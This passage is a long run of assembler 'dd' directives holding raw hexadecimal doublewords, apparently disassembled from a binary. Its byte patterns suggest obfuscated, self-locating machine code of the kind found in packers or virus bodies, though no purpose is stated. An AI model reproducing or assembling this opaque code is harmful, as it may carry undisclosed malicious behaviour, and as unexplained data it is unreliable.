		dd 10h,	38C5E242h, 49F3B3A4h, 44C0B86Fh, 0A2BEE31Ch, 14E896h
		dd 0BCF10000h, 0F875DBDDh, 2EE38C81h, 2B1E5C49h, 0BB124098h
		dd 830FA524h, 2, 0FF5FF98Ah, 2DB9BEB5h,	0EDBD8B06h, 0FF062A2Ah
		dd 2A260995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 83A8B7ECh, 2A1F61BDh, 840F0006h
		dd 78h,	21658D89h, 9D8B062Ah, 62A1F35h,	8B606096h, 12E8CAh
		dd 0BB630000h, 0BAD96F7h, 0EEF97C55h, 0A3132E4Dh, 8652D54Eh
		dd 10E8615Fh, 83000000h, 0BE032505h, 0C1D975C2h, 0B500C90Bh
		dd 506B41F8h, 5A310F52h, 50615A58h, 2800Fh, 10B30000h
		dd 56006A96h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0BB3B2691h, 66CC9A6Fh, 9CDBCF81h, 0B9BEB5FFh
		dd 6A062Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0FF13EAC3h, 54D520BDh, 0E8E0F79h,	60000000h
		dd 880Fh, 9D8B0000h, 62A0939h, 2995FF61h, 89062A1Ah, 2A066595h
		dd 0BEB5FF06h, 6A062DB9h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0EFB4C355h,	4DBD8B6Ah
		dd 0FF062A0Ah, 2A0EC595h, 838AB306h, 2A1F7DBDh,	840F0206h
		dd 64h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
		dd 0F3C35040h, 8B40B749h, 2A0F5985h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0C6B6h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0BBC35343h, 6FCC5412h
		dd 93585C7h, 62Ah, 85890000h, 62A16A1h,	0FFF208E9h, 6AC18BFFh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 930FC357h, 66F949C0h, 8DDF9DBBh, 2A191185h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0ED90F2CDh, 319D0ADh, 0BD8B2C12h, 62A1971h
		dd 0FBB6650h, 240489CBh, 6AF8BF0Fh, 0E9006A00h,	0Ah, 6F4461CFh
		dd 3036BD8Dh, 9EBF564Ah, 8D443B48h, 2E78C085h, 5C08306h
		dd 5BE0DCBFh, 18B5600Dh, 49632EBEh, 66506142h, 489DF8Bh
		dd 8A006A24h, 0F006ADEh, 68Dh, 0A1BD8900h, 0FF062A10h
		dd 2A127595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 6ACCE1E5h, 0EBA4F09Dh, 6660DC55h
		dd 240AF781h, 8D8961FCh, 62A1929h, 0B9668D8Dh, 6A062Dh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 7AFB6C3h, 57BB66B9h,	6AD1FF1Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1A73C356h
		dd 83D6AE59h, 2A3415BDh, 850F0106h, 58h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 9AC35040h, 0CDBD03E0h
		dd 8B062A0Dh, 2A1939BDh, 5D858906h, 6A062A22h, 59858902h
		dd 90062A0Ah, 5B73B352h, 855DBF50h, 2B900C26h, 2A0E05BDh
		dd 5D95FF06h, 0F062A13h, 383h, 0FEB70F00h, 0EC8E9h, 0E800h
		dd 815D0000h, 2E78CAEDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 104FC51h, 0BBA7AFD6h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B4C35646h
		dd 858D7B4Bh, 62D96C4h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0B1C35747h, 74B72874h, 17E2D406h, 0BD850B60h
		dd 80062A29h, 9061B1C0h, 38E0Fh, 8B660000h, 0BF6650F8h
		dd 0E9909C2Ah, 12h, 79FC145Bh, 7EC383Dh, 5CA77A6Ch, 89829B1Ch
		dd 0FF649471h, 35h, 0E870F00h, 0E9000000h, 9, 36367B4Bh
		dd 495AB3Bh, 799D8BB8h,	64062A17h, 2589h, 66570000h, 512DE381h
		dd 0C185FF5Bh, 6A062A14h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0E6CFC350h,	57FF6A56h
		dd 0C5EF8166h, 0B5FF5BF2h, 62A3231h, 0C75BD01h,	95FF062Ah
		dd 62A238Dh, 14CE9h, 259D8900h,	0B0062A23h, 0CE900h, 0D1AB0000h
		dd 9D3384FCh, 0DB48D3DFh, 70E6E5B6h, 2B799D8Bh,	71E4062Ah
		dd 330D9D8Bh, 613C062Ah, 11B830Fh, 7E80000h, 8E000000h
		dd 47D07B1Dh, 9D295159h, 62A17E1h, 0C8B60F5Bh, 6BAh, 0DB816600h
		dd 0C18B7B34h, 0A19D8B60h, 1062A0Dh, 2A0B6D95h,	0E8C16106h
		dd 6830F04h, 81000000h,	1725B3CFh, 85BD8B4Ch, 66062A2Bh
		dd 0BD8BE2F7h, 62A3281h, 2BD8BF0Fh, 0F78166C8h,	0D18B2FA1h
		dd 0DE8h, 0E064C000h, 5A9FBD6Ch, 39975704h, 800F117Dh
		dd 0Eh,	9E9h, 0F9684500h, 0F0E22F82h, 0E95FD393h, 6, 32719D8Bh
		dd 858B062Ah, 62A0E6Dh,	68C0Fh,	95310000h, 62A25E5h, 0F07C083h
		dd 0C083D8BFh, 68A0F00h, 8B000000h, 2A081D9Dh, 7BCB8106h
		dd 3B43AB76h, 0D830FD0h, 8B000000h, 2A13859Dh, 4FE906h
		dd 5B530000h, 5CD8D8Bh,	83FC062Ah, 840F01E1h, 3Dh, 8960C7B3h
		dd 2A17A58Dh, 0DE806h, 6B2D0000h, 7FEFAFEEh, 0DE30EAA8h
		dd 0F5029D1Ch, 0A5836159h, 62A05CDh, 68D0FFEh, 8B000000h
		dd 2A101DBDh, 6D958906h, 0F9062A0Eh, 0E9h, 5FB58D00h, 0F062DE6h
		dd 0C8Dh, 68E0F00h, 1000000h, 2A19CDBDh, 6A006A06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0A85DC350h, 3995FF58h, 6A062A34h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6109C357h
		dd 18E0FFEh, 0F9000000h, 10CDBD8Bh, 8CB9062Ah, 6A000008h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0A9A4C356h, 37EEC307h, 0F06FB9Dh,	0B70FFFB7h
		dd 0FCE183FEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	8BC35343h, 604BF66h, 0FCF98B66h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 5FC35141h, 0CBE780E2h
		dd 0FD3894BDh, 5E9h, 4E0F3200h,	0C02B9589h, 89D98B66h
		dd 2A000985h, 6AD22B06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 1B02C355h, 4819370Ah
		dd 858963D1h, 62A06A1h,	0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 5E8h, 0B7C1CD00h, 0BD29EB67h, 62A10DDh, 56006A5Bh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 5BDC236h,	337D9D89h, 0BD89062Ah
		dd 62A2855h, 880Dh, 11E900h, 0DCD60000h, 5189A2EFh, 0AD42BC80h
		dd 0B26E13Fh, 8BC40754h, 2A339595h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0E35C9C8Eh
		dd 0E8754B7Eh, 0BD892518h, 62A0D99h, 0BF98D8Bh,	9589062Ah
		dd 62A3495h, 6890F60h, 81000000h, 53FCEEF6h, 61FA8B29h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 16AE8C3h, 2A23818Dh,	25BD8B06h, 83062A2Bh, 2A0FA5BDh
		dd 840F0006h, 66h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 9CC35545h, 0B41BB482h, 79635B32h, 28B0Fh
		dd 0FE8B0000h, 0B8h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 978D8D66h, 60062A4Eh
		dd 1299B58Bh, 0BF0F062Ah, 0E1FF61DAh, 749B589h,	0BD83062Ah
		dd 62A06C5h, 91840F00h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0B5EEC351h
		dd 686FB986h, 4A18589h,	0B529062Ah, 62A2859h, 6C5BD83h
		dd 0F01062Ah, 47284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0C5BD83F3h, 3062A06h
		dd 413860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0DDE614C3h, 24BD9B4Dh, 0E9C18337h
		dd 0Fh,	0F5DFAF9Eh, 0EFC57325h,	0ABEFB35h, 603C43DCh, 5FDA8B52h
		dd 0EE957h, 58B90000h, 7F3ED737h, 69FEB321h, 0C25789B0h
		dd 0D98C665Fh, 2890Fh, 0DE8B0000h, 6A04E180h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 18DDC357h, 0ED122A00h, 0B5895827h, 62A1071h,	840FC90Ah
		dd 126h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 16h,	2EC35242h, 0E0BF8696h, 8B702FB8h, 2A293985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BD2398D7h, 62A13DDh, 5F98533h, 6A062Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8BC8C3h
		dd 62A1195h, 35799D8Bh,	0E890062Ah, 0Ah, 7723C0EDh, 9D9C85A1h
		dd 0FE8B6B82h, 0F88B505Bh, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 80EF2AC7h
		dd 5B5961AAh, 0AC0DCF81h, 6A4A0Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 11C35545h, 0B3E12214h, 8589A33Eh
		dd 62A0FE1h, 0FDEFE568h, 81D98B2Eh, 0EC1A2434h,	12E92EE2h
		dd 0C4000000h, 2E869005h, 0A448696h, 0B255199Ah, 296EDB60h
		dd 8195FF28h, 0FC062A2Bh, 0B9BE8589h, 9D8B062Dh, 62A07E5h
		dd 1C9E9h, 0CF816600h, 858B59CBh, 62DB9B6h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0F1C35141h, 1800C7h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 27D4A1C3h, 0A3B6F159h, 0F3BF0D83h, 8B2A4A77h
		dd 2DB9BAB5h, 31DBBB06h, 858B7A1Bh, 62A04DDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0CDC35747h, 0B53195E5h
		dd 62A3319h, 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0E96D97C3h, 8BFEF0D7h, 2A293985h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0B70F5320h, 46895FF8h, 6CBF6604h, 34895020h
		dd 13E924h, 47E60000h, 0D9E0171Fh, 0F1DAD586h, 9313DEF1h
		dd 8CCBD884h, 0B6B5FFADh, 8B062DB9h, 7E9FEh, 80870000h
		dd 9290B1D2h, 4E8DAh, 3FF0000h,	8B66001Fh, 8B6650FBh, 24448BF9h
		dd 8BFB8B04h, 60525000h, 8BC68B66h, 310F61C3h, 4489585Ah
		dd 60600424h, 7DF8DEBBh, 61F38B38h, 8A0F5861h, 6, 19C1BD8Bh
		dd 858D062Ah, 62DB9BEh,	1BD99D8Bh, 5290062Ah, 11E8h, 90118000h
		dd 372ABF32h, 0D4340EB9h, 782CD5C8h, 52502B3Ch,	585A310Fh
		dd 60505F5Bh, 12E8h, 0EDFA200h,	9563D742h, 0F8EA206Ch
		dd 9151A88Ch, 0B8B0EB81h, 6C464DB2h, 0B7906159h, 8195FFCFh
		dd 6A062A2Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 779DC350h, 19CE9EEBh, 12D99509h
		dd 6A61062Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 1E0EC353h, 59E50A5h, 8D8944D2h
		dd 62A2201h, 6C585C7h, 3062Ah, 0BD830000h, 62DB9BEh, 56840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F29C357h, 89h, 0E9D88A00h, 48h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C3C35545h
		dd 918C6F9Dh, 703FC36h,	15899D8Bh, 0F850062Ah, 0C30505Fh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	32859589h
		dd 95B7062Ah, 6C5BD83h,	0F03062Ah, 4C085h, 0FB8B6600h
		dd 0B9BEBD83h, 0F00062Dh, 4B084h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0E41DA19Fh
		dd 2A50059h, 49858955h,	0FF062A12h, 2DB9BEB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 99BC4D64h, 8F862381h, 0BD8B6057h, 62A3451h, 0DD19D8Bh
		dd 5B61062Ah, 0FFFEBF0Fh, 2A164D95h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0E1ED7CC9h
		dd 0B7FAEF44h, 2AE19589h, 0B58B062Ah, 62DB9B2h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 88C35747h, 2646A7Dh
		dd 0C7EEFEDEh, 1000106h, 1820F00h, 0F8000000h, 0FE8B6696h
		dd 9E950h, 8CF50000h, 958F48B7h, 96C52CF0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 34C35242h, 8D092E7Ch
		dd 62A10A1h, 19319D8Bh,	0BD89062Ah, 62A33FDh, 0B9BEB5FFh
		dd 0BD8B062Dh, 62A2165h, 1A3995FFh, 0F88B062Ah,	0B9B2B58Bh
		dd 9D8B062Dh, 62A2B29h,	12E9858Bh, 8166062Ah, 89A318DFh
		dd 0C486h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0FDEE29ACh, 36AC2A32h, 0BD8BAD61h
		dd 62A19F1h, 3395958Bh,	6A062Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0A192C1C3h, 1CC58E9Ah
		dd 0BF0FCE92h, 4C283FAh, 799BD8Bh, 5089062Ah, 55006A20h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 858DF503h, 62DCC2Ch,	8298589h, 8689062Ah, 0B8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0AC35343h, 4262D6CAh
		dd 8B6644E3h, 6A006AFAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 7B84C350h, 9FA49419h
		dd 0BEB5FFFBh, 8B062DB9h, 5D95FFFAh, 0E9062A13h, 5, 9F4491AAh
		dd 0BF66505Bh, 34895C9Ah, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 19AE520Dh
		dd 0EB81A381h, 4202B3F4h, 11E8h, 0F77DAF00h, 8CE43A18h
		dd 70318574h, 2ACB0E86h, 0DE9B6CBh, 1A000000h, 0F55082E0h
		dd 38F2A5B0h, 209E853Bh, 0BEB5FF5Bh, 6A062DB9h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 7455C357h, 398589h, 9D09062Ah, 62A32F5h, 260995FFh
		dd 6A062Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 8444E8C3h, 1BD26BBh, 8E94Dh, 0D4F60000h
		dd 36B4CF52h, 0F3802B99h, 61BD8392h, 62A1Fh, 56840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0CEC791C3h, 533CC000h, 6E950C6h, 33000000h, 0A563E768h
		dd 243489C3h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	3AC35747h, 0E137422Eh, 45466EAEh, 0B9BEB5FFh, 6A062Dh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 10E912C3h, 0F2000000h, 43B9E26Eh, 6FC0C9CBh,	0B615E489h
		dd 0FF26AF6Fh, 2A1A2995h, 19BD8B06h, 0F062A15h,	0B5FFFBB7h
		dd 62DB9BEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0B2C35040h, 66AB5278h, 87ECEB81h, 6321F9BFh, 0C595FF60h
		dd 6A062A0Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0A8F6C353h, 302F40ABh,	0BD834DEDh
		dd 62A1F7Dh, 7D840F02h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0DE28C355h
		dd 0EE98B04h, 7C000000h, 4B86572Dh, 7E4880DDh, 664C6742h
		dd 59858BD7h, 6A062A0Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0CC8C353h, 0BD2B884Eh
		dd 62A1AB5h, 6A0000C6h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 95DBC357h, 93585C7h
		dd 62Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 160424h, 55450000h, 0ABC025C3h, 150DBD23h, 0B70F062Ah
		dd 0F263E9FAh, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 866F57C3h, 0EC93DB13h, 8B666ED0h
		dd 8BC18BDEh, 2A24399Dh, 11858D06h, 6A062A19h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 116C353h, 4A0078F0h,	0F5BF8086h, 5067B219h, 89FB8B66h
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 6A9452C3h, 95D38100h, 6A30E67Ch, 0E94EB300h
		dd 0Dh,	0F1C1FFC7h, 7EBBFC0Eh, 768BF9D3h, 0E4858DAEh, 0E9062E89h
		dd 0Bh,	0D2AC862Eh, 3EA09E05h, 83937472h, 0BD8B05C0h, 62A22E5h
		dd 298DB589h, 0E990062Ah, 0Bh, 0E0171F47h, 0DAD586D9h
		dd 50DEF1F1h, 8830Fh, 810F0000h, 2, 6A90F8B7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 28B0C353h, 69D76843h, 13BB664Fh, 0B9BD8927h,	6A062A2Ah
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0F16C7455h, 296D8D01h, 6A062Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 3BC35545h, 982D6FE4h
		dd 35BD2362h, 0F062A22h, 95FFDBBFh, 62A1275h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 22C35040h, 0FA284137h
		dd 0B509D15Ah, 62A1335h, 0B9668D8Dh, 6A062Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0A71537C3h
		dd 1D64B21h, 6E951B0h, 0FC000000h, 0AFD60104h, 6AD1FFA7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 689FC351h, 0FD108B93h, 852987F4h,	62A2AF5h
		dd 3415BD83h, 0F01062Ah, 8785h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 890CD9B6h
		dd 16A5BD89h, 26A062Ah,	0C4AABF66h, 89FE8B50h, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 9A50A1C3h, 1B635D57h, 0F88A5F35h, 135D95FFh,	0BE9062Ah
		dd 9A000000h, 0DA073A8Dh, 7436998Bh, 0E95020B7h, 13h, 36129DECh
		dd 6C31E97Fh, 57D411FCh, 48EC4B67h, 5F2379AAh, 0E6AE9h
		dd 0E800h, 815D0000h, 2E89EEEDh, 2A8D0F06h, 0E8000000h
		dd 13h,	0F70ADBFCh, 8EA803CFh, 0E6437EABh, 8FBABF42h, 0E8BAED77h
		dd 0Bh,	98B75CB0h, 0F5872D2Ch, 5F529ADDh, 5D9D8B5Bh, 8D062A03h
		dd 2D96C485h, 0FFDF8106h, 9010EB7Ch, 9139BF66h,	6E950h
		dd 5C220000h, 2CFAE249h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BF0F30D3h, 35FF64FAh
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0C8C35545h
		dd 0EF03E40Fh, 0D3D3CB81h, 89640093h, 25h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 89F51D0Ah, 2A1F7595h, 0C185FF06h, 6A062A14h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 33B7C356h, 6ADBB70Fh, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 6ABF6A0h, 0FF13E11h, 138Bh
		dd 0EE900h, 0A5350000h,	544C3DE5h, 8BB24E16h, 0A4349E31h
		dd 1ED9B5FFh, 6A062Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8A0FC0C3h, 6, 0BF5BD8Bh,	95FF062Ah
		dd 62A238Dh, 11CE9h, 199D8900h,	0B0062A26h, 0A1B58900h
		dd 0E6062A22h, 171E470h, 2A1675B5h, 0F613C06h, 0FC83h
		dd 89858900h, 0F062A1Fh, 5E9C8B6h, 0CF000000h, 0EC921A22h
		dd 6BAh, 91958900h, 0E8062A09h,	0Ah, 0A8A69ED3h, 74C3153Bh
		dd 0E7812862h, 5F9CF34h, 8AC18B5Fh, 6E8DEh, 30EB0000h
		dd 0EF95BCE9h, 4E8C15Bh, 2C0D8D29h, 0BD23062Ah,	62A2D35h
		dd 0FE2F766h, 0C82BFFB7h, 1AB99D89h, 0D18B062Ah, 6E9h
		dd 9AEC200h, 0E92AD2FBh, 0Ch, 1605BD89h, 9D8B062Ah, 62A24F9h
		dd 269D858Bh, 0CF81062Ah, 1553FFF1h, 8B07C083h,	2A260DBDh
		dd 0C08306h, 12EDBD8Bh,	0D03B062Ah, 13830Fh, 9D8B0000h
		dd 62A0695h, 4CE9h, 0D7816600h,	0BF0FD65Ch, 0F18D8BDBh
		dd 0BF062A11h, 5BB47D5Fh, 0F01E183h, 3084h, 66E2B300h
		dd 83157DBFh, 2A11F1A5h, 9509FE06h, 62A2BC9h, 269D9589h
		dd 8D0F062Ah, 0Ch, 6860Fh, 9D8B0000h, 62A0D61h,	0E9h, 0B9B58D00h
		dd 89062DF0h, 2A0A1D8Dh, 6A006A06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 9C3DC356h
		dd 15399D8Bh, 95FF062Ah, 62A3439h, 32919D03h, 80B9062Ah
		dd 6A000008h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 431BC357h, 5AF32EEDh, 34359589h
		dd 8D89062Ah, 62A1109h,	858B6056h, 62A24F9h, 14E8h, 79FBEE00h
		dd 886DA4F2h, 79D3FE5Dh, 0A4D91E5Ah, 0FE8E0542h, 5B615A1Eh
		dd 89FCE183h, 2A04E185h, 6AFC06h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E9195EC3h, 9, 765565h
		dd 0E53097D8h, 7185899Ah, 2B062A29h, 546CBBC0h,	0D22B76FBh
		dd 0ADDBBF0Fh, 0E8D1C233h, 0E983D003h, 0E8F47504h, 0Dh
		dd 1EE8CB14h, 0C478A41Fh, 0B9DFC346h, 6A5B26h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0BFB390C3h, 32E88FE5h, 559D8Bh, 880D062Ah, 0E9000000h
		dd 13h,	0E428FB8Fh, 0A86946BAh,	0B29A3A4h, 0C93DD0F1h
		dd 8B34F992h, 2A339595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0C8C66AC7h, 4F21E381h
		dd 8BF83231h, 2A0BF98Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0D411FC6Ch, 0EC4B6757h
		dd 0DE9AA48h, 17000000h, 65A23353h, 0E49AD743h,	7C1913ECh
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 9B90F0C3h, 80EAE996h, 9D037FD7h, 62A184Dh, 1BB5BD89h
		dd 0BD83062Ah, 62A0FA5h, 40840F00h, 0F000000h, 682h, 818D8900h
		dd 0B8062A16h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C2C35343h
		dd 9A58A64Eh, 8D4CECCFh, 2A4E978Dh, 0FF18B306h,	83F98BE1h
		dd 2A06C5BDh, 840F0006h, 4BAh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 30C35646h, 83B0DD3Bh, 2A06C5BDh
		dd 840F0106h, 4A9h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 59C35646h, 0BFADB8Ch,	0DAE9E6A8h, 0FE960h
		dd 2E3A0000h, 0AEE13742h, 5245466Eh, 91323AD6h,	0BD83617Ch
		dd 62A06C5h, 2C860F03h,	0E9000004h, 12h, 0C8DD43CBh, 6DE6E444h
		dd 0B09C02C2h, 0FB2A1BE2h, 66600265h, 6AD98Ch, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 18BC96C3h, 0EB9D67C9h, 0B9DBD8Bh, 0E180062Ah, 56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8184758Fh, 0AC8AD3C3h, 0DFB70F5Eh, 0FC90AF5h, 18E84h
		dd 0C2BF6600h, 0FA8B6670h, 2939858Bh, 6A062Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0D353B7C3h, 26AA5F7Ch, 0AD95894Eh, 66062A09h, 0FE9FA8Bh
		dd 87000000h, 64A174D8h, 0E3CC28F3h, 20A917EEh,	8533DA01h
		dd 62A05F9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0E6C35747h, 89FDD74Ch, 2A31EDB5h, 0E2BB9006h, 500A2B9Ah
		dd 13E86060h, 55000000h, 3BD21261h, 343B1B7h, 891077BCh
		dd 6D4C84F7h, 0BF5E6900h, 50D5D1A7h, 0F28B6061h, 0FE1A34BAh
		dd 90616129h, 32AD9D89h, 6A062Ah, 0C1F78166h, 4E80Ch, 3FF0000h
		dd 12E9001Fh, 2F000000h, 40BC1E47h, 54944956h, 5B48531Eh
		dd 0B0FB5C1h, 605650EFh, 1CB86160h, 611F7CB7h, 24448B5Fh
		dd 17FBB04h, 8B5530h, 28E0Fh, 0F98B0000h, 4244489h, 11880Fh
		dd 0CE90000h, 93000000h, 0DBD0BFF8h, 0CCA76ABEh, 58DA2B70h
		dd 0FF41CF80h, 2A2B8195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0DBA75CDh
		dd 0F2F4D29h, 0D8Dh, 8E900h, 53A50000h,	212DEE99h, 85899AD1h
